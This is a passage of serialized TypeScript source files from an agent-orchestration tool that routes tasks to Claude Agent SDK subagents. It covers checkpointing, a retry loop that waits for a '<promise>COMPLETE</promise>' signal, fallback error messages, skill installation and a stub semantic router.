null, // Phase 4.3 YAGNI (ralphLoopWrap returns string only; defer v0.5+ per RESEARCH § 7 Q2)\n }),\n )\n}\n","// src/checkpoint/engineHook.ts — Phase 3.1 W3 T3.2 (W-01 orchestrator promote PRIMARY).\n// Extracted from engine.ts to keep engine.ts ≤200L Karpathy hard limit clean.\n// Single responsibility: bridge engine.ts events → current-workflow.json +\n// checkpoint.json double-write. Analog: src/routing/lib/sdkReconcile.ts ≤56L\n// (Phase 2.2 helper extract pattern for testability).\n// D-04 WIRE-IN LOCKED + W-04 mitigation (phaseId=\"unknown\" warn-only fail-loud).\n//\n// v3.0.3 — checkpoint + archive path routed through `getHarnessedRoot()` SoT\n// (homedir-rooted; EPERM-free in read-only CWD). Sister v2.0.1 backup pattern.\n\nimport { join } from 'node:path'\nimport { harnessedSubdir } from '../installers/lib/harnessedRoot.js'\nimport { SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { activate as stateActivate, complete as stateComplete } from './state.js'\nimport { writeCheckpoint } from './template.js'\n\nexport interface EngineCheckpointHookCtx {\n phaseId: string\n sessionId?: string\n status: 'active' | 'complete' // 'paused' goes through sigintTrap.ts (W4), not this hook\n lastTask?: string\n keyDecisions?: string[]\n canonicalRefs?: string[]\n}\n\n/** Activate workflow + return projected checkpoint path on phase start.\n * Lock acquired transitively via stateActivate → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function activatePhase(phaseId: string): Promise<{ checkpointPath: string }> {\n const checkpointPath = join(harnessedSubdir('checkpoints'), `${phaseId}.json`)\n await stateActivate(phaseId, checkpointPath)\n return { checkpointPath }\n}\n\n/** Write final checkpoint envelope + transition workflow status='complete' on success.\n * Lock acquired transitively via stateComplete → writeCurrentWorkflow\n * (sister W-01 PLAN-CHECK resolve Path A: state.ts self-locks; no double-lock). */\nexport async function completePhase(ctx: EngineCheckpointHookCtx): Promise<void> {\n if (ctx.phaseId === 'unknown') {\n console.error(\n `[harnessed] WARN engineHook: phaseId=\"unknown\" — checkpoint paths fall back to ${join(harnessedSubdir('checkpoints'), 'unknown.json')} (Karpathy fail-loud non-blocking; W-04 mitigation)`,\n )\n }\n writeCheckpoint({\n schemaVersion: SCHEMA_VERSIONS.checkpoint,\n phase: ctx.phaseId,\n status: 'complete',\n last_task: ctx.lastTask ?? 'engine.runRouting complete',\n key_decisions: ctx.keyDecisions ?? [],\n canonical_refs: ctx.canonicalRefs ?? [],\n ...(ctx.sessionId ? { session_id: ctx.sessionId } : {}),\n cwd: process.cwd(),\n timestamp: new Date().toISOString(),\n archive_path: `${join(harnessedSubdir('archive'), `phase-${ctx.phaseId}`)}/`,\n })\n await stateComplete()\n}\n","// Phase v2.0-2.4 W1 T2.4.W1.2 — ralph-loop fallback UX handlers (R20.10 acceptance c).\n// Sister Phase 2.2 sdkReconcile.ts split pattern (≤80L helper from engine.ts ≤200L\n// Karpathy hard limit). PLAN.md L339-368 verbatim UX text per RESEARCH § 7.2.\n//\n// CONTRACT — fallback config 来自 phases.yaml v2 phase.fallback.max_iterations_exceeded\n// (TypeBox schema src/workflow/schema/workflow.ts L38-45 ship by T2.4.W0.1). engine.ts\n// catch block delegates here — handler emits full UX text to stderr (PLAN L342-358)\n// then process.exit(exit_code). Return type `never` — process.exit unreachable after.\n\nimport type { MaxIterationsExceededError, VerbatimCompleteFailError } from './ralphLoop.js'\n\nexport interface FallbackMaxIterationsExceededConfig {\n action: 'emit_warning_and_halt'\n message: string\n exit_code: number\n}\n\nexport interface MaxIterFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n lastMessage?: string\n maxIterations: number\n}\n\nexport interface VerbatimFallbackCtx {\n subtaskSummary: string\n workflowName: string\n phaseId: string\n}\n\n/** Emit RESEARCH § 7.2 verbatim UX text + process.exit. Yaml `message` placeholder\n * `{{ args.max_iterations }}` is substituted with actual iter (sister Phase 3.2 W1\n * T1.6 interpolate.ts STRICT regex 不支持 dot-path — inline minimal substitution). */\nexport function handleMaxIterationsExceeded(\n err: MaxIterationsExceededError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: MaxIterFallbackCtx,\n): never {\n const yamlShort = fallback.message.replace(\n /\\{\\{\\s*args\\.max_iterations\\s*\\}\\}/g,\n String(ctx.maxIterations),\n )\n const truncated = (ctx.lastMessage ?? '<empty>').slice(0, 500)\n // RESEARCH § 7.2 verbatim UX text (PLAN L342-358).\n const uxText = `❌ ralph-loop max-iterations exceeded (${err.iterations}/${ctx.maxIterations}).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent attempted ${err.iterations} iterations without emitting verbatim \"<promise>COMPLETE</promise>\".\nThis indicates one of:\n 1. Sub-task is genuinely incomplete (escalate to user / re-scope)\n 2. Subagent is stuck in a loop (review prompt / system instructions)\n 3. max-iterations too low (override via --max-iterations <N>, hard upper limit 100)\nManual options:\n A) Continue with current state: \\`harnessed workflow resume --skip-completion-gate\\`\n B) Re-run from last checkpoint: \\`harnessed workflow resume --from-checkpoint\\`\n C) Abort cleanly: exit 1\nExit code: ${fallback.exit_code}\n${yamlShort}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable') // satisfies `never` return type for type-checker\n}\n\n/** Symmetric handler for VerbatimCompleteFailError (sister ralphLoop.ts L29-34\n * Phase 2.2 ship). Same fallback config reused; UX text mentions verbatim signal. */\nexport function handleVerbatimCompleteFail(\n err: VerbatimCompleteFailError,\n fallback: FallbackMaxIterationsExceededConfig,\n ctx: VerbatimFallbackCtx,\n): never {\n const truncated = err.lastMessage.slice(0, 500)\n const uxText = `❌ ralph-loop verbatim COMPLETE signal missing (F33 P1).\nSub-task: ${ctx.subtaskSummary}\nWorkflow: ${ctx.workflowName} / phase ${ctx.phaseId}\nLast subagent output (truncated): ${truncated}\nThe subagent's final message lacked verbatim \"<promise>COMPLETE</promise>\" tag.\nThis indicates one of:\n 1. Subagent skipped the completion-promise contract (review system prompt)\n 2. Output format misconfigured (check outputFormat schema)\nManual options:\n A) Re-run with explicit COMPLETE instruction in subagent prompt\n B) Abort cleanly: exit ${fallback.exit_code}\nExit code: ${fallback.exit_code}`\n console.error(uxText)\n process.exit(fallback.exit_code)\n throw new Error('unreachable')\n}\n","// Phase 1.5 T5.2 — `<promise>...</promise>` XML wrapper extract (hard split).\n//\n// IMPL NOTE — implements ADR 0009 § Decision Errata 3 + D1.5-4 sub-item 3 +\n// PLAN-CHECK W-2 absorption (D1.5-8b). phase 1.4 shipped ralphLoop.ts at 66L,\n// already over the D1.4-3 ≤50L wedge principle by 16L. Rather than swelling it\n// further with the XML wrapper upgrade, the promise-extraction logic is hard\n// split into this single-purpose helper (~30L) so ralphLoop.ts main body\n// returns toward ≤50L. SPIKE-REPORT-2.md § D1.5-8b confirmed the regex is\n// simple enough to isolate.\n//\n// The XML wrapper `<promise>([^<]+)</promise>` disambiguates think-out-loud\n// text (e.g. \"I think the task is COMPLETE in nature\") from the actual\n// completion signal — the phase 1.4 raw `^COMPLETE$/m` regex was prone to that\n// false positive. `extractPromise` returns the wrapped content (e.g.\n// \"COMPLETE\") or null; callers check `=== \"COMPLETE\"`. The capture-group design\n// also supports future status values (PARTIAL / BLOCKED) without an interface\n// change — phase 1.5 still only accepts \"COMPLETE\".\n\n/** Matches the first `<promise>...</promise>` wrapper; group 1 is the content. */\nexport const PROMISE_PATTERN = /<promise>([^<]+)<\\/promise>/\n\n/**\n * Extract the content of the first `<promise>...</promise>` XML wrapper.\n *\n * @param text - the (possibly think-out-loud) agent output to scan.\n * @returns the wrapped content (e.g. `\"COMPLETE\"`), or `null` when no wrapper\n * is present.\n */\nexport function extractPromise(text: string): string | null {\n const match = text.match(PROMISE_PATTERN)\n return match ? (match[1] as string) : null\n}\n","// Phase 1.4 T3.1 / 1.5 T5.2 / 2.2 W2 T2.4 — ralph-loop wedge (D1.4-3 ≤50L).\n// Phase 2.2 W2 T2.4 adds dual-signal 4-layer isComplete + resumeSessionId\n// closure (ADR 0011 errata / B-02 B-26 / PATTERNS § 2.2 § 2.4 / RESEARCH § 1.3).\n\nimport type { SdkResultEnvelope } from '../completionSchema.js'\nimport { extractPromise } from './promiseExtract.js'\n\n/** 4-layer dual-signal completion detect: (1) outer PRIMARY structured_output,\n * (2) outer FALLBACK <promise> in result text, (3) inner FALLBACK on raw\n * string (non-JSON envelope — test mock / degraded; B-07 Tier A path). */\nexport function isComplete(output: string): boolean {\n try {\n const env = JSON.parse(output) as SdkResultEnvelope\n if (env.subtype === 'success' && env.structured_output?.status === 'COMPLETE') return true\n if (extractPromise(env.text ?? env.result ?? '') === 'COMPLETE') return true\n return false\n } catch {\n return extractPromise(output) === 'COMPLETE'\n }\n}\n\nexport class MaxIterationsExceededError extends Error {\n constructor(public iterations: number) {\n super(`ralph-loop max-iterations exceeded after ${iterations} attempts`)\n this.name = 'MaxIterationsExceededError'\n }\n}\n\nexport class VerbatimCompleteFailError extends Error {\n constructor(public lastMessage: string) {\n super('subagent final message lacked verbatim <promise>COMPLETE</promise> (F33 P1 mitigation)')\n this.name = 'VerbatimCompleteFailError'\n }\n}\n\n/** Anchor 4 wedge — `resumeSessionId` flows through `spawn` so T4.1 sdkSpawn\n * can attach SDK session resume (CD-4 **activated Phase 3.1 W3 T3.1** —\n * T4.4 dead-wiring 首消费者 per RESEARCH § 1.5; D-04 WIRE-IN LOCKED).\n * `onSessionId` callback fires on iter 1 SDK system:init capture, allowing\n * iter 2+ to pass the captured id back via `resumeSessionId` arg. */\nexport async function ralphLoopWrap(\n spawn: (resumeSessionId?: string, onSessionId?: (id: string) => void) => Promise<string>,\n maxIter: number,\n): Promise<string> {\n let last = ''\n let sessionId: string | undefined\n for (let i = 0; i < maxIter; i++) {\n last = await spawn(sessionId, (id) => {\n sessionId = id\n })\n if (isComplete(last)) return last\n }\n throw new MaxIterationsExceededError(maxIter)\n}\n","// Phase 2.2 Wave 2 T2.1 — agentFactory contract v1.2 reconcile (ADR 0011 errata).\n//\n// IMPL NOTE — splits 2 helper fn out of agentDefinition.ts so the latter holds\n// its ≤200L hard limit (B-24 / D-13). Bridges the factory-internal 14-字段\n// AgentDefinition (contract v1.1, src/routing/agentDefinition.ts) to the\n// `@anthropic-ai/claude-agent-sdk` v0.3.142 input shape.\n//\n// PATTERNS § 2.3 inline correction (T1.1 resolved 2026-05-15) — research\n// baseline said `SDK input = 4 fields, prompt-inject = 10`. The actual\n// `.d.ts` (sdk.d.ts:38) carries `disallowedTools?: string[]` as a first-class\n// SDK input field, so the lock is:\n// SDK input layer = 5 fields (description / tools? / disallowedTools? / prompt / model?)\n// prompt-inject layer = 9 fields (skills / mcpServers / memory / maxTurns / background /\n// effort / permissionMode / initialPrompt /\n// criticalSystemReminder_EXPERIMENTAL)\n// factory-internal total = 14 (5 + 9 — unchanged, ADR 0009 § Errata 1)\n// Contract v1.2 reconcile chapter (ADR 0011 § 4) finalizes this at Wave 6 T6.1.\n\nimport type { AgentDefinition as SdkAgentDef } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\n\n/** Unpack factory-internal 14-字段 AgentDefinition → SDK 5-字段 input shape (B-01).\n * Optional fields are stripped when absent so the SDK call site stays clean. */\nexport function toSdkAgentDefinition(def: AgentDefinition): SdkAgentDef {\n return {\n description: def.description,\n prompt: def.prompt,\n ...(def.tools ? { tools: def.tools } : {}),\n ...(def.disallowedTools ? { disallowedTools: def.disallowedTools } : {}),\n ...(def.model ? { model: def.model } : {}),\n }\n}\n\n/** Belt-and-suspenders prompt augmentation — appends the 9 prompt-inject fields\n * as a structured suffix to `basePrompt`. Callers use this when running an\n * AgentDefinition through an SDK-input path that does NOT natively carry the\n * 9 factory-internal fields (e.g. plain `query({ agents })` without subagent\n * registration). Sections are emitted only when the field is present.\n * Sourced 1:1 with PATTERNS § 2.3 — prepend pattern, KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n const parts: string[] = [basePrompt]\n if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n if (def.mcpServers && Object.keys(def.mcpServers).length) {\n parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n }\n if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n if (def.background) parts.push(`## Background\\nfire-and-forget`)\n if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n if (def.criticalSystemReminder_EXPERIMENTAL) {\n parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n }\n return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n// layer 1 outer PRIMARY — env.structured_output.status === 'COMPLETE'\n// layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n// layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n// layer 4 final FAIL — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from '../agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from '../completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n expertName: string\n /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n resumeSessionId?: string\n /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n constructor(public lastMessage?: SDKResultMessage) {\n super('sdkSpawn produced no result message')\n this.name = 'SpawnFailError'\n }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n * Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n * (4-layer dual-signal). On success the envelope carries the structured\n * output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n * degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n const queryOptions: Record<string, unknown> = {\n allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n agents: { [opts.expertName]: sdkDef },\n // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n }\n if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n let result: SDKResultMessage | undefined\n for await (const msg of q as AsyncIterable<SDKMessage>) {\n if (msg.type === 'system' && msg.subtype === 'init') {\n opts.onSessionId?.(msg.session_id)\n }\n if (msg.type === 'result') {\n result = msg as SDKResultMessage\n }\n }\n if (!result) throw new SpawnFailError()\n\n // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n const structuredOutput =\n 'structured_output' in result\n ? (result.structured_output as SdkResultEnvelope['structured_output'])\n : undefined\n const subtype: ResultSubtype = result.subtype\n const text = 'result' in result ? result.result : undefined\n\n const envelope: SdkResultEnvelope = {\n subtype,\n ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n ...(text != null ? { text, result: text } : {}),\n }\n return JSON.stringify(envelope)\n}\n","// Phase 1.5.1 sister review H2 — Anchor 3 (skill install) hard split out of\n// lib/ralphLoop.ts. Anchor 3 (install missing + retry idempotent_check) and\n// Anchor 4 (ralph-loop wedge wrap) are conceptually distinct anchors; keeping\n// them in one file pushed ralphLoop.ts to 65L, contradicting the \"≤50L strict\"\n// claim in ADR 0009 § Decision Errata 3. Splitting Anchor 3 here makes that\n// claim true without an ADR errata — A7 conservation preserved (ADR 0009 main\n// body untouched; the code is brought into compliance with the doc, not vice\n// versa, per D-18 contract-drift prohibition).\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { RestartRequiredError } from '../agentDefinition.js'\n\nexport function isInstalled(skill: string, root: string): boolean {\n return existsSync(join(root, skill, 'SKILL.md'))\n}\n\nconst sleep = (ms: number): Promise<void> => new Promise((r) => setTimeout(r, ms))\n\n/** Anchor 3 — install missing + sleep retry idempotent_check. RestartRequired\n * is the extreme bail (settings.json hook needs main-session pickup). */\nexport async function ensureSkillsInstalled(required: string[], skillsRoot: string): Promise<void> {\n for (const name of required) {\n if (isInstalled(name, skillsRoot)) continue\n await sleep(500)\n let retries = 3\n while (retries-- > 0 && !isInstalled(name, skillsRoot)) await sleep(300)\n if (!isInstalled(name, skillsRoot)) {\n throw new RestartRequiredError(\n `Skill ${name} still missing after retry — please exit + restart Claude Code so the plugin takes effect.`,\n )\n }\n }\n}\n","// Phase 1.5 T3.2 — Semantic Router L2 (v0.1 stub, ≤150L hard limit).\n//\n// IMPL NOTE — implements ADR 0009 § Decision + D1.5-2 lock + D-20 LOC budget\n// (≤150L). v0.1 is a STUB: `match()` always returns a no-match result. This\n// is intentional — the routing engine's L1 keyword arbitrate (decisionRules.ts)\n// + L3 fallback_supervisor LLM cover all current cases, and ML embedding deps\n// are deferred to v0.2+ per D1.5-2 (RESEARCH § 2.4 fallback-path design).\n//\n// v0.2+ activation triggers (all required):\n// - routing sample corpus grows 30 → 100+ samples across multiple models\n// - user logs surface ≥10 real L1-miss + L3-mis-hit cases\n// - cross-OS CI verifies HuggingFace model fetch on all 3 platforms\n// When activated, ONLY the body of `match()` changes — the contract\n// (`match(prompt, threshold) -> Promise<SemanticMatchResult>`) is frozen here\n// so v0.2+ is a drop-in body swap, not an interface change (PLAN.md § 4 #2/#3).\n//\n// The v0.2+ implementation will: embed `prompt` via lib/embedding.ts\n// (EmbeddingProvider, BGE-small), kNN cosine-similarity against pre-embedded\n// rule trigger phrases, and return the best rule whose confidence ≥ threshold.\n\nimport type { Rule } from './decisionRules.js'\nimport type { EmbeddingProvider } from './lib/embedding.js'\n\n/**\n * Three-state-friendly result of {@link match} — narrow on `matched`:\n * - `matched: true` → `rule` is the semantically-matched rule, `confidence`\n * is the cosine similarity (≥ threshold).\n * - `matched: false` → `rule` is null, `confidence` is 0 (v0.1 stub always).\n *\n * Mirrors the `EngineResult` discriminated-union style (F41 takeaway).\n */\nexport interface SemanticMatchResult {\n /** Whether a rule was matched above the similarity threshold. */\n matched: boolean\n /** The matched rule, or null when `matched` is false. */\n rule: Rule | null\n /** Cosine similarity confidence in [0, 1]; 0 in the v0.1 stub. */\n confidence: number\n}\n\n/** Default similarity threshold — aligned with LangChain industry baseline. */\nexport const DEFAULT_SEMANTIC_THRESHOLD = 0.85\n\n/**\n * Semantic Router L2 — v0.1 STUB.\n *\n * Always returns `{ matched: false, rule: null, confidence: 0 }`. The routing\n * engine calls this between L1 keyword arbitrate and L3 fallback_supervisor;\n * in v0.1 it is a guaranteed pass-through to L3 (RESEARCH § 2.4).\n *\n * @param prompt - the user task prompt to semantically match (unused in v0.1).\n * @param threshold - minimum cosine similarity to count as a match (unused in\n * v0.1; defaults to {@link DEFAULT_SEMANTIC_THRESHOLD}).\n * @returns a Promise of {@link SemanticMatchResult} — always no-match in v0.1.\n */\nexport async function match(\n prompt: string,\n threshold: number = DEFAULT_SEMANTIC_THRESHOLD,\n): Promise<SemanticMatchResult> {\n // v0.1 stub — no embedding, no kNN. Reference the params so the contract is\n // visible to v0.2+ implementers and lint stays clean.\n void prompt\n void threshold\n return { matched: false, rule: null, confidence: 0 }\n}\n\n/**\n * v0.2+ activation seam — constructs the live semantic router once an\n * EmbeddingProvider is available. NOT wired in v0.1; throws to make accidental\n * early use loud rather than silently degrading.\n *\n * @param provider - the embedding provider (BGE-small in v0.2+).\n * @throws always in v0.1 — Semantic Router L2 is deferred (D1.5-2).\n */\nexport function createSemanticRouter(provider: EmbeddingProvider): never {\n void provider\n throw new Error(\n 'Semantic Router L2 is a v0.1 stub — ML embedding deferred to v0.2+ (ADR 0009 / D1.5-2). ' +\n 'Use match() which returns no-match, falling through to the L3 fallback supervisor.',\n )\n}\n","// Main-process routing engine (Pattern N). ADR 0006/0008/0009. Phase 1.4 T3.1\n// → 1.5 T3.4 → 2.2 W4 T4.2 → 3.1 W3 T3.2 → 2.4 W1 T2.4.W1.2 (fallback handlers\n// delegate, R20.10 c). Karpathy ≤200L hard limit守住.\n\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { emitAudit } from '../audit/hook.js'\nimport { activatePhase, completePhase } from '../checkpoint/engineHook.js'\nimport {\n type AgentDefinition,\n type AgentDefinitionOpts,\n type ArbitrateResult,\n createAgent,\n InvalidDecisionError,\n MissingSkillsError,\n SkillNotInstalledError,\n type TaskContext,\n} from './agentDefinition.js'\nimport { type DagNode, resolveDag } from './dag.js'\nimport { arbitrate, loadDecisionRules, type Rule } from './decisionRules.js'\nimport {\n type FallbackMaxIterationsExceededConfig,\n handleMaxIterationsExceeded,\n handleVerbatimCompleteFail,\n} from './lib/fallbackHandlers.js'\nimport {\n MaxIterationsExceededError,\n ralphLoopWrap,\n VerbatimCompleteFailError,\n} from './lib/ralphLoop.js'\nimport { sdkSpawn } from './lib/sdkSpawn.js'\nimport { ensureSkillsInstalled } from './lib/skillInstall.js'\nimport { match as semanticMatch } from './semanticRouter.js'\n\nexport { MaxIterationsExceededError, VerbatimCompleteFailError } from './lib/ralphLoop.js'\n\n/** Engine three-state discriminated union (PLAN.md § 4 接口契约 1+2). */\nexport type EngineResult =\n | { ok: true; result: string; matchedRule: Rule | null }\n | { ok: false; phase: 'arbitrate' | 'install' | 'spawn' | 'verbatim'; error: Error }\n | { aborted: true; reason: string }\n\n/** Routing engine entry options. T2.4.W1.2: fallback* fields wire R20.10 c. */\nexport interface RoutingOpts {\n rulesPath?: string\n skillsRoot?: string\n spawn?: (agentDef: AgentDefinition) => Promise<string>\n maxIterations?: number\n spawnTimeoutMs?: number\n fallbackSupervisor?: (task: TaskContext) => Promise<string>\n agentOpts?: AgentDefinitionOpts\n dagNodes?: DagNode[]\n semanticThreshold?: number\n fallbackConfig?: FallbackMaxIterationsExceededConfig\n fallbackPhaseId?: string\n}\n\n/** Anchor 6 — production spawn = real sdkSpawn (T4.2). Replaces phase 1.4\n * placeholder; backward-compat test seam preserved via opts.spawn (1-arg). */\nconst defaultSpawn = (\n def: AgentDefinition,\n ctx: { expertName: string; resumeSessionId?: string; onSessionId?: (id: string) => void },\n) => sdkSpawn(def, ctx)\n\nfunction buildDecision(matched: Rule | null): ArbitrateResult {\n if (!matched) {\n return {\n matched_rule_id: null,\n primary_expert: null,\n secondary_expert: null,\n category: 'meta',\n }\n }\n return {\n matched_rule_id: matched.id,\n primary_expert: (matched.decision.primary_expert as string | null) ?? null,\n secondary_expert: (matched.decision.secondary_expert as string | null) ?? null,\n category: matched.domain as ArbitrateResult['category'],\n forbidden_skills: matched.decision.forbidden as string[] | undefined,\n required_skills: matched.decision.required_skills as string[] | undefined,\n }\n}\n\n/** Pattern N — main-process-driven routing engine entry point (≤200L). */\nexport async function runRouting(task: TaskContext, opts: RoutingOpts = {}): Promise<EngineResult> {\n const rulesPath = opts.rulesPath ?? join('routing', 'decision_rules.yaml')\n const skillsRoot = opts.skillsRoot ?? join(homedir(), '.claude', 'skills')\n const maxIter = opts.maxIterations ?? 20\n const userSpawn = opts.spawn\n\n // Step 0 — DAG pre-check (T3.4, ADR 0009 § DAG Kahn cycle reject).\n if (opts.dagNodes && opts.dagNodes.length > 0) {\n const dag = resolveDag(opts.dagNodes)\n if (!dag.ok) {\n const error = new InvalidDecisionError(\n `skill dependency cycle: ${dag.cycle.join(' → ')} (see ADR 0009 § DAG resolver)`,\n )\n return { ok: false, phase: 'arbitrate', error }\n }\n }\n\n // Step 1 — arbitrate (Anchor 1 step 1, L1 keyword routing)\n let rules: Rule[]\n try {\n rules = loadDecisionRules(rulesPath).rules\n } catch (error) {\n return { ok: false, phase: 'arbitrate', error: error as Error }\n }\n const taskCtx = {\n task_type: task.task_type,\n ...(task.override_keywords ? { override_keywords: task.override_keywords } : {}),\n }\n const matched = arbitrate(rules, taskCtx)\n const decision = buildDecision(matched)\n\n if (!matched) {\n // Step 1b — L2 Semantic Router stub (T3.4 v0.1 always null pass-through to L3).\n const semantic = await semanticMatch(task.task, opts.semanticThreshold)\n void semantic.rule // v0.2+ feeds rule\n if (opts.fallbackSupervisor) {\n const result = await opts.fallbackSupervisor(task)\n return { ok: true, result, matchedRule: null }\n }\n return {\n ok: false,\n phase: 'arbitrate',\n error: new InvalidDecisionError('no rule matched and no fallbackSupervisor provided'),\n }\n }\n\n // Step 2 — install missing skills (Anchor 3)\n try {\n await ensureSkillsInstalled(decision.required_skills ?? [], skillsRoot)\n } catch (error) {\n return { ok: false, phase: 'install', error: error as Error }\n }\n\n // Step 3 — factory (T3.2 createAgent)\n let agentDef: AgentDefinition\n try {\n agentDef = await createAgent(task, decision, { ...opts.agentOpts, skillsRoot })\n } catch (error) {\n if (error instanceof SkillNotInstalledError || error instanceof MissingSkillsError) {\n return { ok: false, phase: 'install', error }\n }\n if (error instanceof InvalidDecisionError) {\n return { ok: false, phase: 'arbitrate', error }\n }\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n\n const phaseId = task.phaseId ?? 'unknown' // Phase 3.1 W3 T3.2 (W-04 fix path a)\n await activatePhase(phaseId)\n\n // Step 4+5 spawn + ralph-loop. userSpawn = test seam (B-02 1-arg); defaultSpawn captures session_id.\n const expertName = (matched.decision.primary_expert as string | null) ?? 'unknown'\n let capturedSessionId: string | undefined\n const wrappedSpawn = async (\n resumeSessionId?: string,\n onSessionIdInner?: (id: string) => void,\n ): Promise<string> =>\n userSpawn\n ? userSpawn(agentDef)\n : defaultSpawn(agentDef, {\n expertName,\n ...(resumeSessionId ? { resumeSessionId } : {}),\n onSessionId: (id) => {\n capturedSessionId = id\n onSessionIdInner?.(id)\n },\n })\n const fbCtx = {\n subtaskSummary: task.task,\n workflowName: task.task_type ?? 'unknown',\n phaseId: opts.fallbackPhaseId ?? task.phaseId ?? 'unknown',\n }\n try {\n const result = await ralphLoopWrap(wrappedSpawn, maxIter)\n await completePhase({ phaseId, sessionId: capturedSessionId, status: 'complete' })\n emitAudit(task, decision, matched, 'complete', capturedSessionId)\n return { ok: true, result, matchedRule: matched }\n } catch (error) {\n if (error instanceof MaxIterationsExceededError) {\n emitAudit(task, decision, matched, 'max-iter', capturedSessionId)\n if (opts.fallbackConfig)\n handleMaxIterationsExceeded(error, opts.fallbackConfig, {\n ...fbCtx,\n maxIterations: maxIter,\n })\n return { aborted: true, reason: error.message }\n }\n if (error instanceof VerbatimCompleteFailError) {\n emitAudit(task, decision, matched, 'verbatim-fail', capturedSessionId)\n if (opts.fallbackConfig) handleVerbatimCompleteFail(error, opts.fallbackConfig, fbCtx)\n return { ok: false, phase: 'verbatim', error }\n }\n emitAudit(task, decision, matched, 'spawn-err', capturedSessionId)\n return { ok: false, phase: 'spawn', error: error as Error }\n }\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — execute-task 省 token):\n// 每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n// `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (workflows/execute-task/phases.yaml T3.3):\n// 01-clarify = opus (任务复杂度澄清)\n// 02-code = sonnet (心法 always-on)\n// 03-test = sonnet (conditional TDD)\n// 04-deliver = haiku (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = 